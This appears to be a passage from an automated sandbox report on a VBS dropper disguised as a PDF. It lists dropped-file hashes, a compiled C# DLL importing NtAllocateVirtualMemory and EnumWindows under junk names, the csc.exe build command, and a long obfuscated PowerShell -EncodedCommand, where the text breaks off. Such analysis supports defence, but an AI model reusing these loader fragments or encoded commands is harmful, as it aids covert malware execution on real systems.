.$.0.@t.zh....9..EFfp..(?@....t.?&.}...C?@,...u.?...c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c.....[m...>@t......C.].4d..w$..G.E.hN. .&NXP.)l.:4.,f.-?<%.1KPH...rz8.A.z3..
      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      File Type:MSVC .res
      Category:dropped
      Size (bytes):652
      Entropy (8bit):3.114364084100377
      Encrypted:false
      SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry/ak7YnqqbPN5Dlq5J:+RI+ycuZhNdakSbPNnqX
      MD5:234F2657A7B1DDF2E56567D4D8BB876B
      SHA1:0CB26D0BA763B71C42D69F0819CFF1A1EE003ED5
      SHA-256:2A3BC5C84D045E37E336B2BFE2DCC4F00F5006FD754953C04C87685755054594
      SHA-512:E55530EB08E3945CEC11C8AEF5127A2A0914FDFAB9279710C6C3E3C53D5C956D18B57459E481B0807E88E766C185C02B7B422CFEFB4D194CF1674DAD752F3F75
      Malicious:false
      Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.w.h.3.p.d.n.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...w.w.h.3.p.d.n.v...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...
      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
      Category:dropped
      Size (bytes):871
      Entropy (8bit):5.2974065929444025
      Encrypted:false
      SSDEEP:12:V/DGrbhQzPpN+RmgkrWeszPpN9zL2xgS2q5a+HNK+4tO+M6hOQLrOsG:JobSzeRmgkr7iFL2m7q5fHNyhjni
      MD5:B0C4D854DD730B30AEA1BD746BB6FBCD
      SHA1:8BC1444A76D62F0346DAD934B5FF66B6FAB20E81
      SHA-256:A06E857E542E86D49C3D292EE52EE7A26E90C9083486B8AC568D8739D65141F4
      SHA-512:505DB2A1FBDC8BB27C9B46D481F02E52CC7F02EC1A58CCF38ACD7D8780F48B94CE910B371A71B4502826C22B83B2BDA5827FF6E61259DCB484E2F27F9BAF409B
      Malicious:false
      Preview:.using System;..using System.Runtime.InteropServices;..public static class ROTATIONFO1..{..[DllImport("gdi32")]public static extern IntPtr EnumFontsA(string ferskva,uint parapleg,int DEPO,int ROTATIONFO0,int Hove,int afterrak,int Svinghjule1);..[DllImport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr Viac([MarshalAs(UnmanagedType.LPStr)]string ferskva,uint parapleg,int DEPO,int ROTATIONFO0,int Hove,int afterrak,int Svinghjule1);..[DllImport("ntdll")]public static extern int NtAllocateVirtualMemory(int ROTATIONFO6,ref Int32 TERRA,int Maniokp,ref Int32 ROTATIONFO,int Phonolo,int ROTATIONFO7);..[DllImport("KERNEL32", EntryPoint="ReadFile")]public static extern int CDAC(int Maniokp0,uint Maniokp1,IntPtr Maniokp2,ref Int32 Maniokp3,int Maniokp4);..[DllImport("USER32")]public static extern IntPtr EnumWindows(IntPtr Maniokp5,int Maniokp6);....}
      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
      Category:dropped
      Size (bytes):377
      Entropy (8bit):5.2616699267879
      Encrypted:false
      SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2cNwi23f6ULGzxs7+AEszIcNwi23f6ULQA:p37Lvkmb6KwZiUqWZEJZiUP
      MD5:53AC0DD9C318A4F8E7021C59049C92C1
      SHA1:4628E33182E6FB66285C07AF946931F12FAD2A1C
      SHA-256:C8A3ACFD09130D010F14F12DCEDB11A535F0CFF61B86A9EE0D6B524E6A55FCA1
      SHA-512:D22211B4B3B7029D63CE96C2B5DED3CD9B5332F7446D109B2B9588D8BB525496812143BA59E1FF898972ACC86DF1136A3D44EBEF024F825FC747B31077BDEF5A
      Malicious:false
      Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.0.cs"
      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
      Category:dropped
      Size (bytes):3584
      Entropy (8bit):3.265178097200224
      Encrypted:false
      SSDEEP:48:6NKIm4L9k7zqbiUcjaceNJ7U1Uf1ulda3RqK:4mEOeHozHvK7
      MD5:BDE0A74665E6E80624CD58A53D7A3B73
      SHA1:72B994DAE7F36145D546C5DBA9A5DA1E2C789069
      SHA-256:F92B9C20A23B6AD7B7FAFA196816023056AADC941D9753DB17D9918E324FF3F1
      SHA-512:820C04E2127B97B34C746BD0B2870690EFAD3964248091301DB6F61F98FFC38F1D7088ED4CC010F7DD6210D2FDBED599D6A8D00C807E8D78EA99738C07AF13CE
      Malicious:false
      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...ho}b...........!.................%... ...@....... ....................................@.................................\%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~..l.......#Strings............#US.........#GUID.......p...#Blob...........G5........%3................................................................3.,.................m.....m.......................................... :............ E............ J............ b.!.......... g.+.......s.....{................................ ..s.....{...............................
      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
      Category:modified
      Size (bytes):879
      Entropy (8bit):5.303346583830233
      Encrypted:false
      SSDEEP:24:Kwqd3ka6KgiULEviU2KaM5DqBVKVrdFAMBJTH:xika67DEveKxDcVKdBJj
      MD5:6020EB7D0DD4DA84EC4EC4C6B1F94F44
      SHA1:DC98EF1DFDAC6A796689FB55A706643BACBF5939
      SHA-256:0F2441D62D336252CACCB2B7BA1164D161BAE35500571BFF85D35792D6176882
      SHA-512:74BE1AAE833E9B04DB6782E0947271CE2A5557AC54A3EB76538C87961CB45DB3EA327F0E748001450E760D095BA9C8D3D2184C0219A1042CF1764DEAD3FB49A0
      Malicious:false
      Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....
      File type:ASCII text, with very long lines, with CRLF line terminators
      Entropy (8bit):4.492131037575922
      TrID:
      • Visual Basic Script (13500/0) 100.00%
      File name:doc_65398086_4190362045539.pdf.vbs
      File size:256454
      MD5:2fc6f3477035823ff7864187b5b2a5cc
      SHA1:8e6db7c18a5725e795d7421baf84cae637fbcc53
      SHA256:74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9cb9b
      SHA512:5ae7e5d61f11123fe67841c99046ddad5f8b710a3054943c87acd53ed8438eb41fcf2a913f255e5dae3ea2aef1ce5373fe35897a0ee129b6471c2c11128e2ea7
      SSDEEP:3072:JZ4QJqxguxSEbvyZItIzvQd9EBHBD2WUZ0EZkBY42AjaNBQUkll0Z:JZ4GIgubKTcE2W+QY5jrQjllk
      TLSH:C6449B9182B1AFC891F93EDFCB0E8621B2409E65D3D7F1585AE110BD7FDB2E95306290
      File Content Preview:'Glanduli Tostprogra Spoor4 Altf horologi Beziq1 LITURGY driftsp GROVELLERS OBJURGATO SIPHUNCULU Definers4 skreknivho Badutspri Lote Pleuro spydspid Appl FLAMBERE BLATTOIDB Piete Nonsolub7 pale OSTRAC Farveat2 Stablev4 Skrkrom9 Donnerdse ..'BLOD Paikbi OB
      Icon Hash:e8d69ece869a9ec4
      No network behavior found

      Click to jump to process

      Target ID:0
      Start time:13:31:38
      Start date:12/05/2022
      Path:C:\Windows\System32\wscript.exe
      Wow64 process (32bit):false
      Commandline:C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
      Imagebase:0x7ff634c70000
      File size:163840 bytes
      MD5 hash:9A68ADD12EB50DDE7586782C3EB9FF9C
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:C, C++ or other language
      Reputation:high

      Target ID:14
      Start time:13:34:12
      Start date:12/05/2022
      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      Wow64 process (32bit):true
      Commandline:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgAgAEwASQBUAE8ARwBSAEEARgBSAEEAIABTAHQAcgBhACAAZABpAHMAdAByAGkAIABTAFAATABJAEMARQBBAEIAIABnAHIAaQB0AG0AZQBkAGkAIABsAHMAZQBhAGQAZwBhACAASwBBAFQAQQBQAFUAIABtAGEAbgBpACAAUABhAHIAZQBuAHQAaABvAG8AIAB1AGQAcwB2AGkAIAANAAoAIwBTAGEAbQBsAGkAdgBzADUAIABhAG0AYgBpACAAdQByAG8AbwB0AHcAbwBzACAAUgBlAHMAaQBzAHQAaQBuAGcAbAA3ACAAdAByAGEAbgBzAHAAbwByAHQAYQAgAHMAcABlAGoAbABpAG4AZwAgAE4AQQBUAEkATwBOAEEATAAgAEUAbgBkAGUAdgBlAG4ANgAgAFIATwBMAEwARQAgAFUAbgBpAG4AdABlAGwAbAA2ACAAbQBvAGQAZQAgAFMAZQBjAHQAaQBvAG4AYQBsAGwANwAgAFUAbgBzAGUAcgA5ACAARgBlAHIAcgB5AHMAbABvACAADQAKACMAVABBAE4ARABCAFIAIABmAHIAaQBvACAAVABpAGwAbABpAGQANwAgAFAAcgBvAGcAeQBwADkAIABIAEEAVgBFAEIAUgAgAG0AYQB1AGcAZQByAGEAcwBzACAAYgBlAG0AYQBsAGkAbgBnAGMAbwAgAEgAZQB0AGUAcgBvAG0AbwByAHAAMgAgAFMAbgBhAHAAcgBlACAAQQBCAE4ARQAgAEwAeQBzAGQAZAAgAFUAbgBkAGUAcgAgAA0ACgAjAE0AVQBMAEwARQBJAE4AUwAgAE0AYQBnAGQAYQBsADQAIABOAE8ATgBDAFIAWQBTAFQAIABIAG8AZQBqAHIANQAgAEIAVQBOAEkATgBHAEUAIABTAFcASQBEAEcAIABmAG8AcgBwAGEAZwB0ACAAVABZAFAARQBHAE8ARAAgAFMATQBBAEEAUABBAFIAVABJACAAVQBOAEQARQBSAFMASwBPAFYARAAgAFMAawBvAGwAZQBnACAAYQByAHUAcwBoAGEAIABjAG8AYQB0ACAAQgBlAGsAeQBtAHIAZQA1ACAAcwBuAGkAZwBnAGUAcgBlAHIAYQAgAE4AQQBCAE8AIABWAEEAVABUAEUAVABTACAAUABhAHIAYQB0ADYAIABSAEEAQgBBAFQAIABNAGkAcwBkAGUAcwBjAHIAaQBiACAAUABFAE4AUwBJACAAVABhAG0AcgBhADgAIABQAFIAVgBFAEwAUwAgAA0ACgAjAFQAbwBiAGEAbgB0AGkAaAA1ACAAcABvAHQAbwByAG8AbwBzAGkAawAgAEQAbwByAHMAbwBpAG4AdAAgAGEAbgBmAGEAIABRAHUAYQBkAHIAaQByAGUAIABrAGkAbABvAHYAYQByAGUAIABCAEwAQQBOAEsATABBAEsAUwAgAEgAQQBGAEYAIABUAHIAYQBlAGsAdgBvAGcAbgBlACAAUwBJAEcATgAgAFIAZQBzAGMAaQAgAHAAYQBuAHQAZQBuAGQAZQBzAGEAIABSAGEAZABpAGEAbABnAGEAZAAzACAAZQBtAGIAcgBvAGkAZABlAHIAIABUAG8AbAByAGUAcgAxACAATABlAHYAaQBnAGEAIABTAGsAcgB1ADUAIABBAGYAbABhAGQAZQBlAG4AIABVAG4AZwBsAGEAOQAgAEEAZQByAG8AcwBvAGwAZQAzACAADQAKACMAQQBmAHIAaQBrAGEAbgBkAGUAIABNAGUAZABsADQAIABvAGIAcwB0ACAAYQBuAHMAdABkAGUAIABhAGMAYwBlAGwAZQByAGEAdABpACAAcwBpAGwAaQBjACAASQBuAGQAZQBrAGwAMwAgAEsAbgBlAGIAbABpAG4AZwBlACAATgBvAHQAbwBkAG8AbgAgAFAAYQBjAHUAbgBvAG4AcwAgAEIAYQByAGkAdQBtAG0AIABVAG4AZABlADYAIABwAG8AbABhACAAYgBvAG8AYgBvAG8AcwBoAGEAIABEAGUAeAB0AHIAbwByAG8AdAAgAFQAYQB3AGkAZQBvAHAAZQByAGEAIABDAHIAZQBzAHMAeQByAHUAdABzACAAVABlAHgAdAB1AGkAcwB0AGIANgAgAE0AYQB6AGgAIABNAGkAYwByACAAZABpAGYAZgBlAHIAZQBuAGMAIABOAE8ATgBTAEMASABJAFMAIABJAG4AbwBoAGUAcwA2ACAASABJAEwARABJAE0ASQBUAEEAIABNAGUAdABhAGkAbgAgAGEAbgB0AGkAYwB5ACAADQAKACMARQBwAGkAbABkAG8AZABlAGMAIABVAHAAYgBsAG8AdwBwAGgAeQBsACAAcAByAGUAdAByAGUAYQB0ACAAcgBlAGEAYwBjACAAWQBlAGwAbABvAHcAIABzAHUAYgBzAHQAcgBhACAAUwBUAEEAQgBJACAARgBSAE8AUwBUACAAVAByAGUAcwB0AGwAZQBmAHIAYQAgAA0ACgAjAHAAcgBlAGUAeAB0AGkAIABTAFIASQBOAFQARQAgAFMAawBhAG0AZgBpAGwAMwAgAEgAYQBsAGsAYQBoAHMAbQBpAGQAIABBAGwAZQBiAGUAbgAgAHQAZQBsAGUAZgBvAG4AIABTAGEAYQB0AGUAcgBwAGEAbAAgAFQAVwBFAE4AIABEAHIAdAByAHMANgAgAFIARQBNAE8AIABBAE0AUABIAEkAQwAgAA0ACgAjAEIAcgBvAHYANAAgAEIAYQBnAHAAZQByAHIAbwBuACAAUwBIAEEARABPAFcATABJAEsARQAgAE0AbwBlAHUAcgBzAGYAbAAgAFUAcwBhAG4AZABoAGUANQAgAFMAdABpAGYAdABzAGYAcgAgAFMAZQBwAGkAbwBuAG8AcABmADIAIABTAHQAZQBuAGcAYQBsAGwAZQBuADUAIABUAHYAaQB2ADkAIAB2AGkAYQBsAG0AYQBrAGUAIABBAHIAYgBlACAAUgBlAHAAaQBsADkAIABBAHUAdABoAHYAIABCAGwAZQBhADgAIABGAG8AdABvADYAIABiAGEAbgBrAGQAaQByAGUAIABPAGUAZABlADEAIABwAHUAeQBhAGwAIABEAGUAcAByAGUAcwAzACAAQwBBAE4ATgAgAA0ACgAjAFUAbgBkAGUAcgAgAFYAaQBzAGsAZQBpADgAIABTAGUAeABpAHYAYQBsAGUAbgBjACAAUAB1AG4AZABpACAAawByAGEAdgBtAGUAIABEAGUAYwBhAGwAYwAgAEcAbwBsAGQAYwB1AHAAIABJAG0AcABlADEAIABVAEQAUABFAEcARQBTAE8AUABTACAAdABpAG4AcwB5AGsAbwAgAGUAcwBzAGUAbgB0AGkAYQAgAFMAdABvAHIAaAAzACAAVgBpAHIAawBzAG8AbQAgAE8ASwBBAFAASQBTAFMAVABSAEkAIABNAG8AbgBlAHQAaQB0AGUANwAgAFMAWQBSAEkATgBHAEUATgBTACAASwBvAG4AZgB1AHMAaQBvAG4AZQA5ACAAVABvAG0AZQByAHcAaABlAGUAbAAzACAASABBAFYARQBOAEUAUgBTAEgAIABCAHIAYQBpACAADQAKACMASwBPAE4ARgBJAFQAVQBSAEUAIABGAG8AbwB0AGgAbwBsAGQAIABCAEkATABCAE8AUQBVAEUAVAAgAFMAaABpAGYAdABhAGIAbABlADkAIABPAHUAdABzACAAdgBlAG4AcwB0AHIAZQBsAGkAIABGAEwAQQBEAFMAWQBOACAARwBFAE4ARQBSAEEATABTACAAUwBOAE8ARwBFAFMAIABNAEkAVABVAE8AUABTAFQAIABTAEkARABUACAAVAByAG8AbABkAGQAIABDAGEAcgBkAGkAIABtAGUAbgBzACAAcgBuAG4AZQBiAG8AIABYAFgAWABWAEkAIABhAGQAZABzAHQAbwBsACAAcABhAHIAYgAgAFMAYQBsAG0AIABIAFkATABBAEcAWQAgAFQAaQBsAHMAbgBpAGcAZQA5ACAARABvAHUAYwBlAHAAZQAxACAAUgBhAHIAZQBmAGkAMwAgAFAAbwBzAHMAIABOAG8AbgBhAHIAeQBvAHAAdAAgAFAAaABvAHQAbwByAGEAZABpACAATQBlAGQAYQAyACAAZQBxAHUAaQBuAG8AeAAgAEEATQBCAFUATABBAFQASQAgAEEATABHAEUAQgBSAEEAIABJAG4AdAByAGEAbgBzACAADQAKACMAVwBPAE8ARABSACAATQBpAG4AaQAgAEYAbwByAGgAaQBuACAAVgBsAGcAZQByAG4AZQBjAG8AIABSAEEAVABBACAAdgB1AGwAcABpACAATwBtAHYAdQByAGQAZQByAGkAIABPAEIAUwBFAFIAVgBBAFQASQAgAFQAdQBiAGIAZQByAG8AIABUAHkAcABlADIAIABIAE8AUgBOAFAASQBQAEUASQBDACAAZwByAHUAbgBkACAAZgByAHkAcwAgAG4AbwBuAGwAYQByAGMAZQBuAG8AIAB0AGkAdABvACAAUwBjAGUAbgBhAHIAaQBlAHQAZQAgAFAAYQByAGEAcAByADMAIABBAGQAcwBjADcAIABTAFQAUgBBAEYAVQBEACAATgBlAGQAcgBhAGsAawAgAE0AQQBJAEwAQQBCAEkATABJACAAUwBtAGEAYQBsAGkAZwBoACAAUwBLAEUASABFAEoAUgBFACAAQQBmAGcAYQBuAGcAcwAgAEIARQBBAFIARABFACAAQgBFAE4ARwAgAGYAZQBkAGUAcgBhAGMAIABrAGwAZABlAGIAcgBzAHQAIAB2AG8AdgBzACAADQAKACMAYgBhAHIAbwBtACAATAB1AGYAdABmAGEAcgB0ADMAIAB0AGUAbABlAHMAIABDAEgAQQBMAE8AIABVAG4AaQBmAGkAZQBzAHMAYQAgAFMAawByAGEAYQBwAGEAIABVAG4AYQBkACAAbgBhAHMAYQBsAGkAIABsAGEAdQBnAGUAIABGAG8AcgB2AGEAcwBrADQAIABCAGEAdABhAHQAZQByAG4AZQBvADcAIAANAAoAIwBQAEEAVQBDAEkAIABmAG8AcgBoAG8AZQAgAEQAaQBzAHIAbwAgAEQAZQBiAG8AdQBjAGgAbQBlADkAIABUAGUAbABlADIAIABDAG8AbABsAHUAZABlAGIAbwBhADQAIABDAEUATABJAE8AUwBDAEgAIABUAGkAbABrAGUAbgBkAHQAIABBAHAAaABvAHIAIABDAG8AbQBiAGkAbgBkAGQAbwBwACAARABJAFMAUABFAFIAUwBJAE8ATgAgAEsAbwBuAHQAaQBuAHUAYQB0AGkAMgAgAFUAbgBjAGwAZQByAGsAbABpADIAIABGAFUATABEAFQASQBEACAAVABvAHgAbwB0ADYAIABSAGEAbgBrAG4AZQBzAHMAIABNAG8AbgBvAHQAeQBwADYAIABOAGUAdQByAG8ANAAgAG4AZQB1AHIAbwBwAGgAaQBsACAAaABlAGwAcwB0AGUAbgBzACAAUwBUAFIAQQBQAE4ASQBOACAASAB1AGQAZQAzACAATwBFAFYAUgBFACAADQAKACMAdABvAG0AYwAgAEsATwBOAEYATwBSAE0AIABDAGkAdAByAG8AbgBwAHIAZQBzACAAUABvAHMAaQB0AGkAdgBlAGwAeQAgAEgARQBNAE8ATQAgAFMAawBnAHAAOQAgAHMAcAByAG8AZwB1ACAAQQBuAHQAaQBtACAAUwBOAE8ATwBQAEUAUgAgAEkAcwBvAHQAZQByAGUAaQA3ACAAQwBVAFIATABJAEUAVwBVAFIATAAgAGYAYQBnAHMAIAANAAoAIwBBAEYAVABFACAARAByAGUAagBlACAAQgBpAGYAYQBuAGcAcwB0AG0AYQAgAEkAcgByAGUAYwBvAGcAbgA0ACAAQwBCAEMATQBTAE0AVQBEACAAcwBzAG8AbgBzAHYAaQBuACAAUgBhAG4AZAAyACAAVgBlAGQAZQByAGgAZgB0AGkAMwAgAG4AbwBuAGEAbgBhAGwAbwAgAGMAZQByAHUAbABlAGkAdAAgAEQAZwBuAGMAZQBuACAAYQByAHQAaABlACAARgBpAG4AYQBuAHMAIABGAHIAdQBlAGYAcgBhAGsAIABQAEEATABNAEUAQgAgAFMAYQBhAG0AYQBzAGsAIABPAHAAdABhAG4AdABlACAATABvAGMAaABpAG8AcwAgAFMAZQBqAHIAcwBmAGEAbgBlADcAIABGAHIAbwBuAHQAaQBuAGcAbAA3ACAAUABPAEsAQQBMACAARABJAE4AQgAgAGQAaQBzAHMAIAB2AGEAdABmACAAVABhAHIAegBhAG4AdQA3ACAAZQBsAGUAYwB0AHIAbwBnAGEAIABWAEkAWgBBAFIARAAgAGkAbgB0AGUAIABBAG4AdgBlAG4AIABDAGEAdABlAGMAaABpADcAIAANAAoAIwBEAFIATwBTAFMARQBMAEsAIABGAEEAUgBWAEUASABBAE4ARABMACAAVABFAEsAUwBUAEIARQBIAEEAIABTAHAAZQBkAGkAdAA3ACAARwBlAHMAdAB1AHIAYQBwADgAIABCAHIAZQBlAGMAaABlAGQAYgBvADcAIABkAGkAcwBzAGUAbgB0ACAASABJAE4ARwBFACAASwBPAE4ARABJAEMAWQBLAEwARQAgAHQAYQBuAGsAIABmAGEAZwBvAHQAdABlACAAVgB1AGwAdAB1AHIAbwB1AHMAIABLAG8AaABsAGEAbgAzACAAVAByAGkAdQBtACAAQgBPAFMAUwBBAEcARQAgAGsAYQB0AGEAcwB0AHIAbwAgAE0AbwB6AGEAbQBiADUAIAB0AHUAbgBpAG4AZwBzAHMAdAAgAEEAYwBmAHQAbQAgAEIAYQBrAGsAZQBuAGIAYQByADYAIABhAGYAcwB0ACAAQQBmAHMAdABuAGkAbgBnACAAQgByAG8AYgB1AGUANgAgAFMAYQBwAHAAaAAgAA0ACgAjAFMAQwBMAEUAIABHAFIAQQBOAEkAVABUAEUAUgBOACAATQBhAG4AYQBuAGUANgAgAEUAbQBwAHIAaQBzAGUAcABhADYAIAB1AHIAdQBnAHUAYQAgAFMAbQBhAGEAOAAgAE4AbwBuAHAAYQBwAGkAcwA0ACAASwBMAEEAUwBTAEkAIABzAHYAYQBnAGgAIAANAAoAIwBPAFYARQBSAE4ASQAgAHMAdABlAHIAIABUAEUASQBJAEQAQQBFACAAVQBOAEcAVABKAEUATgAgAEMAbwBuAHQAcgBhAGMAdABpAHYAIAB1AG4AZQBxAHUAaQB0AGEAIABHAGEAcwBwAGEAIABaAE8ATwBNAEUAQwBIAEEAIABPAFYARQBSAFAATwBQAFUATABPACAAQwBFAFIAVAAgAEwAaQBxAGYAcgBhAHAAMgAgAEkATQBQAFIATwBWACAAagBhAGMAdAB1AHIAYQBzAGsAIABTAGwAbwB3AGMAbwBhAGMAIABCAEwAQQBEAFMAWQBTACAAdQBuAGMAbABhAHMAcAAgAEsAQQBHAEUASwAgAFMARQBNAE0ARQBTAFMASwBPAFIAIABWAE8ATABDAEEATgBJAFoAIABhAG4AdABpAHMAIABLAG8AbgB0AG8AcgA2ACAAQgBVAFQASQBLAFMAQwBFAE4AIABTAGgAbwB1AGwAZAA0ACAATQBpAGwAagBhAGQAbQBpADIAIABVAHIAZQBkAGkAbgBvADEAIA